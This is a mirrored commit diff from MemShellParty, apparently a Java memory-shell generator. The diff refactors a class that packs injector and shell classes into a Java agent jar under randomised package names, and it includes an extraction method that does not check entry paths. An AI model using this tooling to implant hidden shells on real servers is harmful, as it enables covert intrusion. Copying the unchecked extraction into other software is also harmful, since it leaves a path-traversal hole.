mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-21 22:50:42 +08:00
refactor: extract method
Dev Deploy / Build Jar (push) Waiting to run
Dev Deploy / Docker Push (push) Blocked by required conditions
Dev Deploy / Deploy to Northflank (push) Blocked by required conditions
Test / UniteTest (push) Waiting to run
Test / ${{ matrix.middleware }} (glassfish) (push) Blocked by required conditions
Test / ${{ matrix.middleware }} (jbossas) (push) Blocked by required conditions
Test / ${{ matrix.middleware }} (jbosseap) (push) Blocked by required conditions
Test / ${{ matrix.middleware }} (jetty) (push) Blocked by required conditions
Test / ${{ matrix.middleware }} (payara) (push) Blocked by required conditions
Test / ${{ matrix.middleware }} (resin) (push) Blocked by required conditions
Test / ${{ matrix.middleware }} (springmvc) (push) Blocked by required conditions
Test / ${{ matrix.middleware }} (springwebflux) (push) Blocked by required conditions
Test / ${{ matrix.middleware }} (tomcat) (push) Blocked by required conditions
Test / ${{ matrix.middleware }} (weblogic) (push) Blocked by required conditions
Test / ${{ matrix.middleware }} (websphere) (push) Blocked by required conditions
Test / ${{ matrix.middleware }} (websphere7) (push) Blocked by required conditions
Test / ${{ matrix.middleware }} (wildfly) (push) Blocked by required conditions
Test / ${{ matrix.middleware }} (xxljob) (push) Blocked by required conditions
Dev Deploy / Build Jar (push) Waiting to run
Dev Deploy / Docker Push (push) Blocked by required conditions
Dev Deploy / Deploy to Northflank (push) Blocked by required conditions
Test / UniteTest (push) Waiting to run
Test / ${{ matrix.middleware }} (glassfish) (push) Blocked by required conditions
Test / ${{ matrix.middleware }} (jbossas) (push) Blocked by required conditions
Test / ${{ matrix.middleware }} (jbosseap) (push) Blocked by required conditions
Test / ${{ matrix.middleware }} (jetty) (push) Blocked by required conditions
Test / ${{ matrix.middleware }} (payara) (push) Blocked by required conditions
Test / ${{ matrix.middleware }} (resin) (push) Blocked by required conditions
Test / ${{ matrix.middleware }} (springmvc) (push) Blocked by required conditions
Test / ${{ matrix.middleware }} (springwebflux) (push) Blocked by required conditions
Test / ${{ matrix.middleware }} (tomcat) (push) Blocked by required conditions
Test / ${{ matrix.middleware }} (weblogic) (push) Blocked by required conditions
Test / ${{ matrix.middleware }} (websphere) (push) Blocked by required conditions
Test / ${{ matrix.middleware }} (websphere7) (push) Blocked by required conditions
Test / ${{ matrix.middleware }} (wildfly) (push) Blocked by required conditions
Test / ${{ matrix.middleware }} (xxljob) (push) Blocked by required conditions
This commit is contained in:
+92
-69
@@ -1,6 +1,7 @@
|
|||||||
package com.reajason.javaweb.memshell.packer.jar;
|
package com.reajason.javaweb.memshell.packer.jar;
|
||||||
|
|
||||||
import com.reajason.javaweb.asm.ClassRenameUtils;
|
import com.reajason.javaweb.asm.ClassRenameUtils;
|
||||||
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
@@ -17,74 +18,94 @@ import java.nio.file.Files;
|
|||||||
import java.nio.file.Path;
|
import java.nio.file.Path;
|
||||||
import java.util.Enumeration;
|
import java.util.Enumeration;
|
||||||
import java.util.Map;
|
import java.util.Map;
|
||||||
import java.util.jar.JarEntry;
|
import java.util.jar.*;
|
||||||
import java.util.jar.JarFile;
|
|
||||||
import java.util.jar.JarOutputStream;
|
|
||||||
import java.util.jar.Manifest;
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2025/1/1
|
* @since 2025/1/1
|
||||||
*/
|
*/
|
||||||
public class AgentJarPacker implements JarPacker {
|
public class AgentJarPacker implements JarPacker {
|
||||||
|
private static Path tempBootPath;
|
||||||
static Path tempBootPath;
|
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
@SneakyThrows
|
@SneakyThrows
|
||||||
public byte[] packBytes(GenerateResult generateResult) {
|
public byte[] packBytes(GenerateResult generateResult) {
|
||||||
String mainClass = generateResult.getInjectorClassName();
|
Manifest manifest = createManifest(generateResult.getInjectorClassName());
|
||||||
String advisorClass = generateResult.getShellClassName();
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
|
|
||||||
Manifest manifest = new Manifest();
|
String relocatePrefix = CommonUtil.getRandomPackageName().replace(".", "/") + "/";
|
||||||
manifest.getMainAttributes().putValue("Manifest-Version", "1.0");
|
boolean isAsm = generateResult.getShellConfig().getShellType().endsWith(ShellType.ASM);
|
||||||
manifest.getMainAttributes().putValue("Agent-Class", mainClass);
|
|
||||||
manifest.getMainAttributes().putValue("Premain-Class", mainClass);
|
|
||||||
manifest.getMainAttributes().putValue("Can-Redefine-Classes", "true");
|
|
||||||
manifest.getMainAttributes().putValue("Can-Retransform-Classes", "true");
|
|
||||||
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
|
|
||||||
|
|
||||||
String RELOCATE_PREFIX = CommonUtil.getRandomPackageName().replace(".", "/") + "/";
|
try (JarOutputStream targetJar = new JarOutputStream(outputStream, manifest)) {
|
||||||
boolean RELOCATE_ENABLED = true;
|
addDependencies(targetJar, relocatePrefix, isAsm);
|
||||||
|
addClassesToJar(targetJar, generateResult, relocatePrefix, isAsm);
|
||||||
try (JarOutputStream targetJar = new JarOutputStream(byteArrayOutputStream, manifest)) {
|
|
||||||
String dependencyPackageName = null;
|
|
||||||
if (generateResult.getShellConfig().getShellType().endsWith("ASM")) {
|
|
||||||
dependencyPackageName = Opcodes.class.getPackage().getName();
|
|
||||||
addDependency(targetJar, Opcodes.class, true, RELOCATE_PREFIX);
|
|
||||||
} else {
|
|
||||||
RELOCATE_ENABLED = false;
|
|
||||||
dependencyPackageName = ByteBuddy.class.getPackage().getName();
|
|
||||||
addDependency(targetJar, ByteBuddy.class, false, RELOCATE_PREFIX);
|
|
||||||
}
|
|
||||||
|
|
||||||
byte[] injectorBytes = generateResult.getInjectorBytes();
|
|
||||||
if (RELOCATE_ENABLED) {
|
|
||||||
injectorBytes = ClassRenameUtils.relocateClass(injectorBytes, dependencyPackageName, RELOCATE_PREFIX + dependencyPackageName);
|
|
||||||
}
|
|
||||||
targetJar.putNextEntry(new JarEntry(mainClass.replace('.', '/') + ".class"));
|
|
||||||
targetJar.write(injectorBytes);
|
|
||||||
targetJar.closeEntry();
|
|
||||||
|
|
||||||
byte[] shellBytes = generateResult.getShellBytes();
|
|
||||||
if (RELOCATE_ENABLED) {
|
|
||||||
shellBytes = ClassRenameUtils.relocateClass(shellBytes, dependencyPackageName, RELOCATE_PREFIX + dependencyPackageName);
|
|
||||||
}
|
|
||||||
targetJar.putNextEntry(new JarEntry(advisorClass.replace('.', '/') + ".class"));
|
|
||||||
targetJar.write(shellBytes);
|
|
||||||
targetJar.closeEntry();
|
|
||||||
|
|
||||||
for (Map.Entry<String, byte[]> entry : generateResult.getInjectorInnerClassBytes().entrySet()) {
|
|
||||||
targetJar.putNextEntry(new JarEntry(entry.getKey().replace('.', '/') + ".class"));
|
|
||||||
byte[] innerClassBytes = entry.getValue();
|
|
||||||
if (RELOCATE_ENABLED) {
|
|
||||||
innerClassBytes = ClassRenameUtils.relocateClass(innerClassBytes, dependencyPackageName, RELOCATE_PREFIX + dependencyPackageName);
|
|
||||||
}
|
|
||||||
targetJar.write(innerClassBytes);
|
|
||||||
targetJar.closeEntry();
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
return byteArrayOutputStream.toByteArray();
|
|
||||||
|
return outputStream.toByteArray();
|
||||||
|
}
|
||||||
|
|
||||||
|
private Manifest createManifest(String mainClass) {
|
||||||
|
Manifest manifest = new Manifest();
|
||||||
|
Attributes attributes = manifest.getMainAttributes();
|
||||||
|
attributes.putValue("Manifest-Version", "1.0");
|
||||||
|
attributes.putValue("Agent-Class", mainClass);
|
||||||
|
attributes.putValue("Premain-Class", mainClass);
|
||||||
|
attributes.putValue("Can-Redefine-Classes", "true");
|
||||||
|
attributes.putValue("Can-Retransform-Classes", "true");
|
||||||
|
return manifest;
|
||||||
|
}
|
||||||
|
|
||||||
|
@SneakyThrows
|
||||||
|
private void addDependencies(JarOutputStream targetJar, String relocatePrefix, boolean isAsm) {
|
||||||
|
if (isAsm) {
|
||||||
|
addDependency(targetJar, Opcodes.class, true, relocatePrefix);
|
||||||
|
} else {
|
||||||
|
addDependency(targetJar, ByteBuddy.class, false, relocatePrefix);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SneakyThrows
|
||||||
|
private void addClassesToJar(JarOutputStream targetJar, GenerateResult generateResult,
|
||||||
|
String relocatePrefix, boolean isRelocateEnabled) {
|
||||||
|
String dependencyPackage = isRelocateEnabled ?
|
||||||
|
Opcodes.class.getPackage().getName() : ByteBuddy.class.getPackage().getName();
|
||||||
|
|
||||||
|
// Add injector class
|
||||||
|
addClassEntry(targetJar,
|
||||||
|
generateResult.getInjectorClassName(),
|
||||||
|
generateResult.getInjectorBytes(),
|
||||||
|
dependencyPackage,
|
||||||
|
relocatePrefix,
|
||||||
|
isRelocateEnabled);
|
||||||
|
|
||||||
|
// Add shell class
|
||||||
|
addClassEntry(targetJar,
|
||||||
|
generateResult.getShellClassName(),
|
||||||
|
generateResult.getShellBytes(),
|
||||||
|
dependencyPackage,
|
||||||
|
relocatePrefix,
|
||||||
|
isRelocateEnabled);
|
||||||
|
|
||||||
|
// Add inner classes
|
||||||
|
for (Map.Entry<String, byte[]> entry : generateResult.getInjectorInnerClassBytes().entrySet()) {
|
||||||
|
addClassEntry(targetJar,
|
||||||
|
entry.getKey(),
|
||||||
|
entry.getValue(),
|
||||||
|
dependencyPackage,
|
||||||
|
relocatePrefix,
|
||||||
|
isRelocateEnabled);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SneakyThrows
|
||||||
|
private void addClassEntry(JarOutputStream targetJar, String className, byte[] classBytes,
|
||||||
|
String dependencyPackage, String relocatePrefix, boolean isRelocateEnabled) {
|
||||||
|
targetJar.putNextEntry(new JarEntry(className.replace('.', '/') + ".class"));
|
||||||
|
byte[] processedBytes = isRelocateEnabled ?
|
||||||
|
ClassRenameUtils.relocateClass(classBytes, dependencyPackage, relocatePrefix + dependencyPackage) :
|
||||||
|
classBytes;
|
||||||
|
targetJar.write(processedBytes);
|
||||||
|
targetJar.closeEntry();
|
||||||
}
|
}
|
||||||
|
|
||||||
@SneakyThrows
|
@SneakyThrows
|
||||||
@@ -128,27 +149,29 @@ public class AgentJarPacker implements JarPacker {
|
|||||||
sourceJar.close();
|
sourceJar.close();
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Extracts a JAR file to a temporary directory
|
||||||
|
*
|
||||||
|
* @param jarPath Path to the source JAR file
|
||||||
|
* @param tempPath Path to the temporary directory
|
||||||
|
*/
|
||||||
@SneakyThrows
|
@SneakyThrows
|
||||||
public static void unzip(String jarPath, String tempPath) {
|
public static void unzip(String jarPath, String tempPath) {
|
||||||
try (JarFile jarFile = new JarFile(jarPath)) {
|
try (JarFile jarFile = new JarFile(jarPath)) {
|
||||||
Enumeration<JarEntry> entries = jarFile.entries();
|
Enumeration<JarEntry> entries = jarFile.entries();
|
||||||
while (entries.hasMoreElements()) {
|
while (entries.hasMoreElements()) {
|
||||||
JarEntry jarEntry = entries.nextElement();
|
JarEntry jarEntry = entries.nextElement();
|
||||||
String entryName = jarEntry.getName();
|
File targetFile = new File(tempPath, jarEntry.getName());
|
||||||
File file = new File(tempPath, entryName);
|
|
||||||
if (jarEntry.isDirectory()) {
|
if (jarEntry.isDirectory()) {
|
||||||
file.mkdir();
|
targetFile.mkdirs();
|
||||||
} else {
|
continue;
|
||||||
InputStream inputStream = null;
|
}
|
||||||
FileOutputStream outputStream = null;
|
|
||||||
try {
|
targetFile.getParentFile().mkdirs();
|
||||||
inputStream = jarFile.getInputStream(jarEntry);
|
try (InputStream inputStream = jarFile.getInputStream(jarEntry);
|
||||||
outputStream = new FileOutputStream(file);
|
FileOutputStream outputStream = new FileOutputStream(targetFile)) {
|
||||||
IOUtils.copy(inputStream, outputStream);
|
IOUtils.copy(inputStream, outputStream);
|
||||||
} finally {
|
|
||||||
IOUtils.closeQuietly(inputStream);
|
|
||||||
IOUtils.closeQuietly(outputStream);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
Reference in New Issue
Block a user